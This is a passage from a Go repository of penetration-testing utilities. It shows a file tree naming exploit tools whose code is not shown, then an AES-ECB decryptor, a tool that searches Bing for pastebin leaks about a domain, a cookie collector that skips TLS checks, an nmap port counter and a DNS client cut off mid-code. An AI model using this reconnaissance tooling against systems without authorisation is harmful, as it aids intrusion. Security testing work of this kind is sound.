├── LICENSE ├── README.md ├── aes-ecb-decrypt └── main.go ├── bing-pastebin └── main.go ├── cookies └── main.go ├── count-open └── main.go ├── dns_client ├── go.mod ├── go.sum └── main.go ├── dns_print_server ├── go.mod ├── go.sum └── main.go ├── go-encrypt-runner-thing └── main.go ├── go-encrypt-shellcode-thing └── main.go ├── go.mod ├── go.sum ├── ip-check ├── server │ └── main.go └── tcp-client │ └── main.go ├── jboss-serial-exploit └── main.go ├── ldap-capture-server ├── bind.php └── main.go ├── live-hosts └── main.go ├── loinkedon └── main.go ├── open-things └── main.go ├── password-is-complex └── main.go ├── port-open └── main.go ├── port-scanner └── main.go ├── post-anything └── main.go ├── server-banner └── main.go ├── shodan-live └── main.go ├── smbv1 └── smbv1.py ├── socks-server └── main.go ├── sort-ip └── main.go ├── spring_json └── spring.py ├── struts-2017-5638 └── main.go ├── tcp-proxy ├── go.mod └── main.go ├── tcp-socks4-proxy └── main.go └── websphere-serial-exploit └── main.go /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2015 Tom Steele 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # pen-utils 2 | Unixey utilities 3 | -------------------------------------------------------------------------------- /aes-ecb-decrypt/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/aes" 5 | "encoding/base64" 6 | "encoding/hex" 7 | "errors" 8 | "flag" 9 | "fmt" 10 | "io/ioutil" 11 | "log" 12 | "os" 13 | ) 14 | 15 | func aesDecrypt(key, data []byte) ([]byte, error) { 16 | plain := []byte{} 17 | 18 | a, err := aes.NewCipher(key) 19 | if err != nil { 20 | return plain, err 21 | } 22 | 23 | blksize := a.BlockSize() 24 | if len(data)%blksize != 0 { 25 | return plain, errors.New("The length of the provided ciphertext is invalid") 26 | } 27 | 28 | for len(data) > 0 { 29 | blk := make([]byte, blksize) 30 | a.Decrypt(blk, data[:blksize]) 31 | data = data[blksize:] 32 | plain = append(plain, blk...) 33 | } 34 | return plain, nil 35 | } 36 | 37 | func decode(data string) []byte { 38 | if x, err := hex.DecodeString(data); err == nil && len(x) > 1 { 39 | return x 40 | } 41 | if x, err := base64.StdEncoding.DecodeString(data); err == nil && len(x) > 1 { 42 | return x 43 | } 44 | return []byte(data) 45 | } 46 | 47 | var usage = ` 48 | kek, key, and ciphertext must be hex or base64 encoded. File content is assumed to be raw data. 49 | 50 | Usage of %s: 51 | %s 52 | %s 53 | %s 54 | %s 55 | 56 | ` 57 | 58 | func main() { 59 | flag.Usage = func() { 60 | fmt.Fprintf(os.Stderr, usage, os.Args[0], os.Args[0], os.Args[0], os.Args[0], os.Args[0]) 61 | } 62 | flag.Parse() 63 | if len(flag.Args()) < 2 { 64 | flag.Usage() 65 | os.Exit(1) 66 | } 67 | var kek, key, fileOrCipher string 68 | switch len(flag.Args()) { 69 | case 2: 70 | key = flag.Arg(0) 71 | fileOrCipher = flag.Arg(1) 72 | case 3: 73 | kek = flag.Arg(0) 74 | key = flag.Arg(1) 75 | fileOrCipher = flag.Arg(2) 76 | default: 77 | flag.Usage() 78 | os.Exit(1) 79 | } 80 | 81 | decodedKey := decode(key) 82 | if kek != "" { 83 | plainKey, err := aesDecrypt(decode(kek), decodedKey) 84 | if err != nil { 85 | log.Fatalf("Error decrypting key with KEK: %s\n", err.Error()) 86 | } 87 | decodedKey = plainKey 88 | } 89 | 90 | var cipher []byte 91 | if _, err := os.Stat(fileOrCipher); err != nil { 92 | cipher = decode(fileOrCipher) 93 | } else { 94 | ciphertext, err := ioutil.ReadFile(fileOrCipher) 95 | if err != nil { 96 | log.Fatalf("Error reading file %s: %s\n", fileOrCipher, err.Error()) 97 | } 98 | cipher = ciphertext 99 | } 100 | 101 | plain, err := aesDecrypt(decodedKey, cipher) 102 | if err != nil { 103 | log.Fatalf("Error decrypting ciphertext: %s\n", err.Error()) 104 | } 105 | 106 | fmt.Println(string(plain)) 107 | } 108 | -------------------------------------------------------------------------------- /bing-pastebin/main.go: -------------------------------------------------------------------------------- 1 | /* bing-pastebin searches bing for pastebins associated with a domain */ 2 | package main 3 | 4 | import ( 5 | "encoding/json" 6 | "errors" 7 | "flag" 8 | "fmt" 9 | "io/ioutil" 10 | "log" 11 | "net/http" 12 | 13 | "github.com/PuerkitoBio/goquery" 14 | ) 15 | 16 | type bingMessage struct { 17 | D bingResults `json:"D"` 18 | } 19 | 20 | type bingResults struct { 21 | Results []bingResult `json:"Results"` 22 | } 23 | 24 | type bingResult struct { 25 | Metadata bingMetadata `json:"__Metadata"` 26 | ID string `json:"id"` 27 | Title string `json:"Title"` 28 | Description string `json:"Description"` 29 | DisplayURL string `json:"DisplayUrl"` 30 | URL string `json:"Url"` 31 | } 32 | 33 | type bingMetadata struct { 34 | URI string `json:"Uri"` 35 | Type string `json:"Type"` 36 | } 37 | 38 | const azureURL = "https://api.datamarket.azure.com" 39 | 40 | func findBingSearchPath(key string) (string, error) { 41 | paths := []string{"/Data.ashx/Bing/Search/v1/Web", "/Data.ashx/Bing/SearchWeb/v1/Web"} 42 | query := "?Query=%27I<3BSW%27" 43 | for _, path := range paths { 44 | fullURL := azureURL + path + query 45 | client := &http.Client{} 46 | req, err := http.NewRequest("GET", fullURL, nil) 47 | if err != nil { 48 | return "", err 49 | } 50 | req.SetBasicAuth(key, key) 51 | resp, err := client.Do(req) 52 | if err != nil { 53 | return "", err 54 | } 55 | if resp.StatusCode == 200 { 56 | return path, nil 57 | } 58 | } 59 | return "", errors.New("invalid Bing API key") 60 | } 61 | 62 | func bingHTML(domain string) ([]string, error) { 63 | results := []string{} 64 | resp, err := http.Get("http://www.bing.com/search?q=site:pastebin.com%20" + domain) 65 | if err != nil { 66 | return results, err 67 | } 68 | doc, err := goquery.NewDocumentFromResponse(resp) 69 | if err != nil { 70 | return results, err 71 | } 72 | doc.Selection.Find("cite").Each(func(_ int, s *goquery.Selection) { 73 | results = append(results, s.Text()) 74 | }) 75 | return results, nil 76 | } 77 | 78 | func bingAPI(domain, key string) ([]string, error) { 79 | results := []string{} 80 | client := &http.Client{} 81 | path, err := findBingSearchPath(key) 82 | if err != nil { 83 | return results, err 84 | } 85 | req, err := http.NewRequest("GET", azureURL+path+"?Query=%27site:pastebin.com%20"+domain+"%27&$top=50&Adult=%27off%27&$format=json", nil) 86 | if err != nil { 87 | return results, err 88 | } 89 | req.SetBasicAuth(key, key) 90 | resp, err := client.Do(req) 91 | if err != nil { 92 | return results, err 93 | } 94 | defer resp.Body.Close() 95 | body, err := ioutil.ReadAll(resp.Body) 96 | if err != nil { 97 | return results, err 98 | } 99 | m := &bingMessage{} 100 | if err = json.Unmarshal(body, &m); err != nil { 101 | return results, err 102 | } 103 | for _, res := range m.D.Results { 104 | results = append(results, res.URL) 105 | } 106 | return results, nil 107 | } 108 | 109 | func main() { 110 | 111 | domain := flag.String("d", "", "domain to search for. can be anything really.") 112 | apiKey := flag.String("k", "", "optional bing api key") 113 | flag.Parse() 114 | 115 | if *domain == "" { 116 | log.Fatal("-d required") 117 | } 118 | 119 | var results []string 120 | var err error 121 | 122 | if *apiKey != "" { 123 | results, err = bingAPI(*domain, *apiKey) 124 | if err != nil { 125 | log.Fatalf("Error using Bing API. Error %s", err.Error()) 126 | } 127 | } else { 128 | results, err = bingHTML(*domain) 129 | if err != nil { 130 | log.Fatalf("Error searching Bing. Error %s", err.Error()) 131 | } 132 | } 133 | for _, r := range results { 134 | fmt.Println(r) 135 | } 136 | } 137 | -------------------------------------------------------------------------------- /cookies/main.go: -------------------------------------------------------------------------------- 1 | /*cookie-flags takes a url and returns the cookie set.*/ 2 | package main 3 | 4 | import ( 5 | "bufio" 6 | "crypto/tls" 7 | "flag" 8 | "fmt" 9 | "net" 10 | "net/http" 11 | "os" 12 | "time" 13 | ) 14 | 15 | func checkError(err error) { 16 | if err != nil { 17 | fmt.Println(err) 18 | os.Exit(1) 19 | } 20 | } 21 | 22 | func doReq(location string, timeout int) []string { 23 | cookies := []string{} 24 | req, err := http.NewRequest("GET", location, nil) 25 | checkError(err) 26 | tr := &http.Transport{ 27 | Dial: func(network, addr string) (net.Conn, error) { 28 | return net.DialTimeout(network, addr, time.Duration(timeout)*time.Millisecond) 29 | }, 30 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 31 | } 32 | res, err := tr.RoundTrip(req) 33 | if err != nil { 34 | return cookies 35 | } 36 | for _, c := range res.Cookies() { 37 | cookies = append(cookies, c.Raw) 38 | } 39 | return cookies 40 | } 41 | 42 | func main() { 43 | var file *os.File 44 | var err error 45 | timeout := flag.Int("timeout", 1000, "timeout for requests") 46 | input := flag.String("input", "", "file containing urls") 47 | flag.Parse() 48 | 49 | if *input != "" { 50 | file, err = os.Open(*input) 51 | checkError(err) 52 | } else if len(flag.Args()) >= 1 { 53 | location := flag.Arg(0) 54 | cookies := doReq(location, *timeout) 55 | for _, c := range cookies { 56 | fmt.Printf("%s: %s\n", location, c) 57 | } 58 | os.Exit(0) 59 | } else { 60 | file = os.Stdin 61 | } 62 | defer file.Close() 63 | 64 | scanner := bufio.NewScanner(file) 65 | for scanner.Scan() { 66 | location := scanner.Text() 67 | cookies := doReq(location, *timeout) 68 | for _, c := range cookies { 69 | fmt.Printf("%s: %s\n", location, c) 70 | } 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /count-open/main.go: -------------------------------------------------------------------------------- 1 | /*count-open reads an nmap xml file from stdin or as an argument and shows the amount of ports open per host*/ 2 | package main 3 | 4 | import ( 5 | "flag" 6 | "fmt" 7 | "io/ioutil" 8 | "os" 9 | 10 | "github.com/lair-framework/go-nmap" 11 | ) 12 | 13 | func checkError(err error) { 14 | if err != nil { 15 | fmt.Println(err) 16 | os.Exit(1) 17 | } 18 | } 19 | 20 | func stringInSlice(a string, list []string) bool { 21 | for _, b := range list { 22 | if b == a { 23 | return true 24 | } 25 | } 26 | return false 27 | } 28 | 29 | func main() { 30 | var file *os.File 31 | var err error 32 | 33 | l := flag.Int("l", 1, "Minimum amount of ports open for host to be shown") 34 | flag.Parse() 35 | 36 | if len(flag.Args()) >= 1 { 37 | file, err = os.Open(flag.Arg(0)) 38 | checkError(err) 39 | } else { 40 | file = os.Stdin 41 | } 42 | data, err := ioutil.ReadAll(file) 43 | checkError(err) 44 | n, err := nmap.Parse(data) 45 | checkError(err) 46 | 47 | for _, h := range n.Hosts { 48 | if h.Status.State == "up" { 49 | ip := h.Addresses[0].Addr 50 | portsLength := 0 51 | for _, p := range h.Ports { 52 | if p.State.State == "open" { 53 | portsLength++ 54 | } 55 | } 56 | if portsLength > *l { 57 | fmt.Printf("%s:%d\n", ip, portsLength) 58 | } 59 | } 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /dns_client/go.mod: -------------------------------------------------------------------------------- 1 | module github.com/tomsteele/pen-utils/dns_client 2 | 3 | go 1.17 4 | 5 | require ( 6 | github.com/miekg/dns v1.1.49 // indirect 7 | golang.org/x/mod v0.4.2 // indirect 8 | golang.org/x/net v0.0.0-20210726213435-c6fcb2dbf985 // indirect 9 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c // indirect 10 | golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2 // indirect 11 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect 12 | ) 13 | -------------------------------------------------------------------------------- /dns_client/go.sum: -------------------------------------------------------------------------------- 1 | github.com/miekg/dns v1.1.49 h1:qe0mQU3Z/XpFeE+AEBo2rqaS1IPBJ3anmqZ4XiZJVG8= 2 | github.com/miekg/dns v1.1.49/go.mod h1:e3IlAVfNqAllflbibAZEWOXOQ+Ynzk/dDozDxY7XnME= 3 | github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= 4 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 5 | golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= 6 | golang.org/x/mod v0.4.2 h1:Gz96sIWK3OalVv/I/qNygP42zyoKp3xptRVCWRFEBvo= 7 | golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= 8 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 9 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 10 | golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM= 11 | golang.org/x/net v0.0.0-20210726213435-c6fcb2dbf985 h1:4CSI6oo7cOjJKajidEljs9h+uP0rRZBPPPhcCbj5mw8= 12 | golang.org/x/net v0.0.0-20210726213435-c6fcb2dbf985/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= 13 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 14 | golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 15 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 16 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 17 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 18 | golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 19 | golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 20 | golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 21 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c h1:F1jZWGFhYfh0Ci55sIpILtKKK8p3i2/krTr0H1rg74I= 22 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 23 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 24 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 25 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 26 | golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 27 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 28 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 29 | golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2 h1:BonxutuHCTL0rBDnZlKjpGIQFTjyUVTexFOdWkB6Fg0= 30 | golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= 31 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 32 | golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 33 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE= 34 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 35 | -------------------------------------------------------------------------------- /dns_client/main.go: -------------------------------------------------------------------------------- 1 | // Copyright 2011 Miek Gieben. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | // Q is a small utility which acts and behaves like 'dig' from BIND. 6 | // It is meant to stay lean and mean, while having a bunch of handy 7 | // features, like -check which checks if a packet is correctly signed (without 8 | // checking the chain of trust). 9 | // When using -check a comment is printed: 10 | // 11 | // ;+ Secure signature, miek.nl. RRSIG(SOA) validates (DNSKEY miek.nl./4155/net) 12 | // 13 | // which says the SOA has a valid RRSIG and it validated with the DNSKEY of miek.nl, 14 | // which has key id 4155 and is retrieved from the server. Other values are 'disk'. 15 | package main 16 | 17 | import ( 18 | "flag" 19 | "fmt" 20 | "net" 21 | "os" 22 | "strconv" 23 | "strings" 24 | "time" 25 | 26 | "github.com/miekg/dns" 27 | ) 28 | 29 | // TODO(miek): serial in ixfr 30 | 31 | var ( 32 | dnskey *dns.DNSKEY 33 | short = flag.Bool("short", false, "abbreviate long DNSSEC records") 34 | dnssec = flag.Bool("dnssec", false, "request DNSSEC records") 35 | query = flag.Bool("question", false, "show question") 36 | check = flag.Bool("check", false, "check internal DNSSEC consistency") 37 | six = flag.Bool("6", false, "use IPv6 only") 38 | four = flag.Bool("4", false, "use IPv4 only") 39 | anchor = flag.String("anchor", "", "use the DNSKEY in this file as trust anchor") 40 | tsig = flag.String("tsig", "", "request tsig with key: [hmac:]name:key") 41 | port = flag.Int("port", 53, "port number to use") 42 | laddr = flag.String("laddr", "", "local address to use") 43 | aa = flag.Bool("aa", false, "set AA flag in query") 44 | ad = flag.Bool("ad", false, "set AD flag in query") 45 | cd = flag.Bool("cd", false, "set CD flag in query") 46 | rd = flag.Bool("rd", true, "set RD flag in query") 47 | fallback = flag.Bool("fallback", false, "fallback to 4096 bytes bufsize and after that TCP") 48 | tcp = flag.Bool("tcp", false, "TCP mode, multiple queries are asked over the same connection") 49 | timeoutDial = flag.Duration("timeout-dial", 2*time.Second, "Dial timeout") 50 | timeoutRead = flag.Duration("timeout-read", 2*time.Second, "Read timeout") 51 | timeoutWrite = flag.Duration("timeout-write", 2*time.Second, "Write timeout") 52 | nsid = flag.Bool("nsid", false, "set edns nsid option") 53 | client = flag.String("client", "", "set edns client-subnet option") 54 | opcode = flag.String("opcode", "query", "set opcode to query|update|notify") 55 | rcode = flag.String("rcode", "success", "set rcode to noerror|formerr|nxdomain|servfail|...") 56 | ) 57 | 58 | func main() { 59 | //serial := flag.Int("serial", 0, "perform an IXFR with this serial") 60 | flag.Usage = func() { 61 | fmt.Fprintf(os.Stderr, "Usage: %s [options] [@server] [qtype...] [qclass...] [name ...]\n", os.Args[0]) 62 | flag.PrintDefaults() 63 | } 64 | 65 | var ( 66 | qtype []uint16 67 | qclass []uint16 68 | qname []string 69 | ) 70 | 71 | flag.Parse() 72 | if *anchor != "" { 73 | f, err := os.Open(*anchor) 74 | if err != nil { 75 | fmt.Fprintf(os.Stderr, "Failure to open %s: %s\n", *anchor, err.Error()) 76 | } 77 | r, err := dns.ReadRR(f, *anchor) 78 | if err != nil { 79 | fmt.Fprintf(os.Stderr, "Failure to read an RR from %s: %s\n", *anchor, err.Error()) 80 | } 81 | if k, ok := r.(*dns.DNSKEY); !ok { 82 | fmt.Fprintf(os.Stderr, "No DNSKEY read from %s\n", *anchor) 83 | } else { 84 | dnskey = k 85 | } 86 | } 87 | 88 | var nameserver string 89 | for _, arg := range flag.Args() { 90 | // If it starts with @ it is a nameserver 91 | if arg[0] == '@' { 92 | nameserver = arg 93 | continue 94 | } 95 | // First class, then type, to make ANY queries possible 96 | // And if it looks like type, it is a type 97 | if k, ok := dns.StringToType[strings.ToUpper(arg)]; ok { 98 | qtype = append(qtype, k) 99 | continue 100 | } 101 | // If it looks like a class, it is a class 102 | if k, ok := dns.StringToClass[strings.ToUpper(arg)]; ok { 103 | qclass = append(qclass, k) 104 | continue 105 | } 106 | // If it starts with TYPExxx it is unknown rr 107 | if strings.HasPrefix(arg, "TYPE") { 108 | i, err := strconv.Atoi(arg[4:]) 109 | if err == nil { 110 | qtype = append(qtype, uint16(i)) 111 | continue 112 | } 113 | } 114 | // If it starts with CLASSxxx it is unknown class 115 | if strings.HasPrefix(arg, "CLASS") { 116 | i, err := strconv.Atoi(arg[5:]) 117 | if err == nil { 118 | qclass = append(qclass, uint16(i)) 119 | continue 120 | } 121 | } 122 | // Anything else is a qname 123 | qname = append(qname, arg) 124 | } 125 | if len(qname) == 0 { 126 | qname = []string{"."} 127 | if len(qtype) == 0 { 128 | qtype = append(qtype, dns.TypeNS) 129 | } 130 | } 131 | if len(qtype) == 0 { 132 | qtype = append(qtype, dns.TypeA) 133 | } 134 | if len(qclass) == 0 { 135 | qclass = append(qclass, dns.ClassINET) 136 | } 137 | 138 | if len(nameserver) == 0 { 139 | conf, err := dns.ClientConfigFromFile("/etc/resolv.conf") 140 | if err != nil { 141 | fmt.Fprintln(os.Stderr, err) 142 | os.Exit(2) 143 | } 144 | nameserver = "@" + conf.Servers[0] 145 | } 146 | 147 | nameserver = string([]byte(nameserver)[1:]) // chop off @ 148 | // if the nameserver is from /etc/resolv.conf the [ and ] are already 149 | // added, thereby breaking net.ParseIP. Check for this and don't 150 | // fully qualify such a name 151 | if nameserver[0] == '[' && nameserver[len(nameserver)-1] == ']' { 152 | nameserver = nameserver[1 : len(nameserver)-1] 153 | } 154 | if i := net.ParseIP(nameserver); i != nil { 155 | nameserver = net.JoinHostPort(nameserver, strconv.Itoa(*port)) 156 | } else { 157 | nameserver = dns.Fqdn(nameserver) + ":" + strconv.Itoa(*port) 158 | } 159 | c := new(dns.Client) 160 | t := new(dns.Transfer) 161 | c.Net = "udp" 162 | if *four { 163 | c.Net = "udp4" 164 | } 165 | if *six { 166 | c.Net = "udp6" 167 | } 168 | if *tcp { 169 | c.Net = "tcp" 170 | if *four { 171 | c.Net = "tcp4" 172 | } 173 | if *six { 174 | c.Net = "tcp6" 175 | } 176 | } 177 | c.DialTimeout = *timeoutDial 178 | c.ReadTimeout = *timeoutRead 179 | c.WriteTimeout = *timeoutWrite 180 | 181 | if *laddr != "" { 182 | c.Dialer = &net.Dialer{Timeout: c.DialTimeout} 183 | ip := net.ParseIP(*laddr) 184 | if *tcp { 185 | c.Dialer.LocalAddr = &net.TCPAddr{IP: ip} 186 | } else { 187 | c.Dialer.LocalAddr = &net.UDPAddr{IP: ip} 188 | } 189 | } 190 | 191 | dns.Id = func() uint16 { 192 | return uint16(2) 193 | } 194 | m := &dns.Msg{ 195 | MsgHdr: dns.MsgHdr{ 196 | Id: uint16(2), 197 | Authoritative: *aa, 198 | AuthenticatedData: *ad, 199 | CheckingDisabled: *cd, 200 | RecursionDesired: *rd, 201 | Opcode: dns.OpcodeQuery, 202 | }, 203 | Question: make([]dns.Question, 1), 204 | } 205 | if op, ok := dns.StringToOpcode[strings.ToUpper(*opcode)]; ok { 206 | m.Opcode = op 207 | } 208 | m.Rcode = dns.RcodeSuccess 209 | if rc, ok := dns.StringToRcode[strings.ToUpper(*rcode)]; ok { 210 | m.Rcode = rc 211 | } 212 | 213 | if *dnssec || *nsid || *client != "" { 214 | o := &dns.OPT{ 215 | Hdr: dns.RR_Header{ 216 | Name: ".", 217 | Rrtype: dns.TypeOPT, 218 | }, 219 | } 220 | if *dnssec { 221 | o.SetDo() 222 | o.SetUDPSize(dns.DefaultMsgSize) 223 | } 224 | if *nsid { 225 | e := &dns.EDNS0_NSID{ 226 | Code: dns.EDNS0NSID, 227 | } 228 | o.Option = append(o.Option, e) 229 | // NSD will not return nsid when the udp message size is too small 230 | o.SetUDPSize(dns.DefaultMsgSize) 231 | } 232 | if *client != "" { 233 | e := &dns.EDNS0_SUBNET{ 234 | Code: dns.EDNS0SUBNET, 235 | Address: net.ParseIP(*client), 236 | Family: 1, // IP4 237 | SourceNetmask: net.IPv4len * 8, 238 | } 239 | 240 | if e.Address == nil { 241 | fmt.Fprintf(os.Stderr, "Failure to parse IP address: %s\n", *client) 242 | return 243 | } 244 | 245 | if e.Address.To4() == nil { 246 | e.Family = 2 // IP6 247 | e.SourceNetmask = net.IPv6len * 8 248 | } 249 | o.Option = append(o.Option, e) 250 | } 251 | m.Extra = append(m.Extra, o) 252 | } 253 | if *tcp { 254 | co := new(dns.Conn) 255 | tcp := "tcp" 256 | if *six { 257 | tcp = "tcp6" 258 | } 259 | var err error 260 | 261 | if c.Dialer != nil { 262 | co.Conn, err = c.Dialer.Dial(tcp, nameserver) 263 | } else { 264 | co.Conn, err = net.DialTimeout(tcp, nameserver, *timeoutDial) 265 | } 266 | 267 | if err != nil { 268 | fmt.Fprintf(os.Stderr, "Dialing "+nameserver+" failed: "+err.Error()+"\n") 269 | return 270 | } 271 | 272 | defer co.Close() 273 | qt := dns.TypeA 274 | qc := uint16(dns.ClassINET) 275 | for i, v := range qname { 276 | if i < len(qtype) { 277 | qt = qtype[i] 278 | } 279 | if i < len(qclass) { 280 | qc = qclass[i] 281 | } 282 | m.Question[0] = dns.Question{Name: dns.Fqdn(v), Qtype: qt, Qclass: qc} 283 | m.Id = dns.Id() 284 | if *tsig != "" { 285 | if algo, name, secret, ok := tsigKeyParse(*tsig); ok { 286 | m.SetTsig(name, algo, 300, time.Now().Unix()) 287 | c.TsigSecret = map[string]string{name: secret} 288 | t.TsigSecret = map[string]string{name: secret} 289 | } else { 290 | fmt.Fprintf(os.Stderr, ";; TSIG key data error\n") 291 | continue 292 | } 293 | } 294 | co.SetReadDeadline(time.Now().Add(*timeoutRead)) 295 | co.SetWriteDeadline(time.Now().Add(*timeoutWrite)) 296 | 297 | if *query { 298 | fmt.Printf("%s", m.String()) 299 | fmt.Printf("\n;; size: %d bytes\n\n", m.Len()) 300 | } 301 | then := time.Now() 302 | if err := co.WriteMsg(m); err != nil { 303 | fmt.Fprintf(os.Stderr, ";; %s\n", err.Error()) 304 | continue 305 | } 306 | r, err := co.ReadMsg() 307 | if err != nil { 308 | fmt.Fprintf(os.Stderr, ";; %s\n", err.Error()) 309 | continue 310 | } 311 | rtt := time.Since(then) 312 | if r.Id != m.Id { 313 | fmt.Fprintf(os.Stderr, "Id mismatch\n") 314 | continue 315 | } 316 | 317 | if *check { 318 | sigCheck(r, nameserver, true) 319 | denialCheck(r) 320 | fmt.Println() 321 | } 322 | if *short { 323 | shortenMsg(r) 324 | } 325 | 326 | fmt.Printf("%v", r) 327 | fmt.Printf("\n;; query time: %.3d µs, server: %s(%s), size: %d bytes\n", rtt/1e3, nameserver, tcp, r.Len()) 328 | } 329 | return 330 | } 331 | 332 | qt := dns.TypeA 333 | qc := uint16(dns.ClassINET) 334 | 335 | Query: 336 | for i, v := range qname { 337 | if i < len(qtype) { 338 | qt = qtype[i] 339 | } 340 | if i < len(qclass) { 341 | qc = qclass[i] 342 | } 343 | m.Question[0] = dns.Question{Name: dns.Fqdn(v), Qtype: qt, Qclass: qc} 344 | m.Id = dns.Id() 345 | if *tsig != "" { 346 | if algo, name, secret, ok := tsigKeyParse(*tsig); ok { 347 | m.SetTsig(name, algo, 300, time.Now().Unix()) 348 | c.TsigSecret = map[string]string{name: secret} 349 | t.TsigSecret = map[string]string{name: secret} 350 | } else { 351 | fmt.Fprintf(os.Stderr, "TSIG key data error\n") 352 | continue 353 | } 354 | } 355 | if *query { 356 | fmt.Printf("%s", m.String()) 357 | fmt.Printf("\n;; size: %d bytes\n\n", m.Len()) 358 | } 359 | if qt == dns.TypeAXFR || qt == dns.TypeIXFR { 360 | env, err := t.In(m, nameserver) 361 | if err != nil { 362 | fmt.Printf(";; %s\n", err.Error()) 363 | continue 364 | } 365 | var envelope, record int 366 | for e := range env { 367 | if e.Error != nil { 368 | fmt.Printf(";; %s\n", e.Error.Error()) 369 | continue Query 